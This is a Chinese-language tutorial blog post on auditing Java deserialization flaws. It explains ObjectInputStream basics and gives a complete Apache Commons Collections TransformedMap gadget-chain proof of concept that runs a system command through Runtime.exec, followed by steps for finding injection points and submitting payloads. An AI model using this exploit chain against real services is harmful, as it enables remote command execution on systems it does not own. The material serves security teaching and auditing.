java代码审计--反序列化

基础知识点

1.序列化和反序列化原理

Java.io.ObjectOutputStream  //序列化实现方法-->从这个目标流写的和输出的都是序列化
java.io.ObjectInputStream   //反序列化实现方法-->从这个输出流写的和输出的都是反序列化
//相关步骤
对象序列化步骤
1) 创建一个对象输出流,它可以包装一个其他类型的目标输出流,如文件输出流;
2) 通过对象输出流的writeObject()方法写对象。

反序列化
1) 创建一个对象输入流,它可以包装一个其他类型的源输入流,如文件输入流;
2) 通过对象输入流的readObject()方法读取对象。

//核心导致的原因:反序列化处理中会调用被恢复对象的readObject方法,因此就想办法把这个变成可控的

//一个完整的
import java.io.*;
/*
import java.io.ObjectOutputStream;
import java.io.ObjectInputStream;
import java.io.FileOutputStream;
import java.io.FileInputStream;
*/

public class Java_Test{

    public static void main(String args[]) throws Exception {
        String obj = "ls ";

        // 将序列化对象写入文件object.txt中
        FileOutputStream fos = new FileOutputStream("aa.ser");
        ObjectOutputStream os = new ObjectOutputStream(fos);
        os.writeObject(obj);
        os.close();

        // 从文件object.txt中读取数据
        FileInputStream fis = new FileInputStream("aa.ser");
        ObjectInputStream ois = new ObjectInputStream(fis);

        // 通过反序列化恢复对象obj
        String obj2 = (String)ois.readObject();
        System.out.println(obj2);
        ois.close();
    }

}

2.关键类与函数
TransformedMap

特性:类中数据发生变化时,会触发transform()函数对该对象进行自动化转换。
transform()调用-->TransformedMap.decorate()进行转换
第一个参数 代转换的Map对象
第二个参数 Map对象内的key要经过的转化方法(可为单个方法,也可为链,也可为空)
第三个参数 Map对象内的value要经过的转化方法

在这里插入图片描述
Transformer:存放我们要执行的命令

ChainedTransformer:
1.会挨个执行我们定义的Transformer,即实现链式的transformer转换
2.将一个对象转化为常量,并返回。
在这里插入图片描述
AnnotationInvocationHandler:(这个地方就是进行重写的)
对memberValues的每一项调用了setValue()函数。

完整的利用链

根据上面的知识点
一个完整的利用链就出来了

//1.挖掘思路
触发点、中继点、执行点

//2.执行点构造方法
1)首先构造一个Map和一个能够执行代码的ChainedTransformer2)生成一个TransformedMap实例
3)实例化AnnotationInvocationHandler,并对其进行序列化(这里作用是进行重写,进而在调用这个接口进行处理)
4)当触发readObject()反序列化的时候,就能实现命令执行。

例子demo

import java.io.File;
import java.io.FileInputStream;
import java.io.FileNotFoundException;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;
import java.util.Map.Entry;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;



public class POC_Test{
    public static void main(String[] args) throws Exception {
        //execArgs: 待执行的命令数组
        //String[] execArgs = new String[] { "sh", "-c", "whoami > /tmp/fuck" };

        //transformers: 一个transformer链,包含各类transformer对象(预设转化逻辑)的转化数组
        Transformer[] transformers = new Transformer[] {
            new ConstantTransformer(Runtime.class),
            /*
            由于Method类的invoke(Object obj,Object args[])方法的定义
            所以在反射内写new Class[] {Object.class, Object[].class }
            正常POC流程举例:
            ((Runtime)Runtime.class.getMethod("getRuntime",null).invoke(null,null)).exec("gedit");
            */
            new InvokerTransformer(
                "getMethod",
                new Class[] {String.class, Class[].class },
                new Object[] {"getRuntime", new Class[0] }
            ),
            new InvokerTransformer(
                "invoke",
                new Class[] {Object.class,Object[].class }, 
                new Object[] {null, null }
            ),
            new InvokerTransformer(
                "exec",
                new Class[] {String[].class },
                new Object[] { "whoami" }
                //new Object[] { execArgs } 
            )
        };

        //transformedChain: ChainedTransformer类对象,传入transformers数组,可以按照transformers数组的逻辑执行转化操作
        Transformer transformedChain = new ChainedTransformer(transformers);

        //BeforeTransformerMap: Map数据结构,转换前的Map,Map数据结构内的对象是键值对形式,类比于python的dict
        //Map<String, String> BeforeTransformerMap = new HashMap<String, String>();
        Map<String,String> BeforeTransformerMap = new HashMap<String,String>();

        BeforeTransformerMap.put("hello", "hello");

        //Map数据结构,转换后的Map
       /*
       TransformedMap.decorate方法,预期是对Map类的数据结构进行转化,该方法有三个参数。
            第一个参数为待转化的Map对象
            第二个参数为Map对象内的key要经过的转化方法(可为单个方法,也可为链,也可为空)
            第三个参数为Map对象内的value要经过的转化方法。
       */
        //TransformedMap.decorate(目标Map, key的转化对象(单个或者链或者null), value的转化对象(单个或者链或者null));
        Map AfterTransformerMap = TransformedMap.decorate(BeforeTransformerMap, null, transformedChain);

        Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");

        Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
        ctor.setAccessible(true);
        Object instance = ctor.newInstance(Target.class, AfterTransformerMap);

        File f = new File("temp.bin");
        ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f));
        out.writeObject(instance);
    }
}
/*
思路:构建BeforeTransformerMap的键值对,为其赋值,
     利用TransformedMap的decorate方法,对Map数据结构的key/value进行transforme
     对BeforeTransformerMap的value进行转换,当BeforeTransformerMap的value执行完一个完整转换链,就完成了命令执行

     执行本质: ((Runtime)Runtime.class.getMethod("getRuntime",null).invoke(null,null)).exec(.........)
     利用反射调用Runtime() 执行了一段系统命令, Runtime.getRuntime().exec()
*/

挖掘常见点

1.漏洞常见触发场景
  1)HTTP请求中的参数,cookies以及Parameters。
  2)RMI协议,被广泛使用的RMI协议完全基于序列化。
  4)JMX 同样用于处理序列化对象。
  5)自定义协议 用来接收与发送原始的java对象。

2. 漏洞挖掘
  (1)确定反序列化输入点
    首先应找出readObject方法调用,在找到之后进行下一步的注入操作。一般可以通过以下方法进行查找:
      1)源码审计:寻找可以利用的“靶点”,即确定调用反序列化函数readObject的调用地点。
       2)对该应用进行网络行为抓包,寻找序列化数据,如wireshark,tcpdump等
     注: java序列化的数据一般会以标记(ac ed 00 05)开头,base64编码后的特征为rO0AB。
  (2)再考察应用的Class Path中是否包含Apache Commons Collections库
  (3)生成反序列化的payload
  (4)提交我们的payload数据

java反序列化基础
补充知识点

①反序列化相关的库
json的
1.fastjson,flexson,genson,json-io(json的)
2.jackson与XStream(xml,json)

②相关的反序列化函数
Object.readObject()
Object.readResolve()
Object.finalize()
  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

goddemon

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值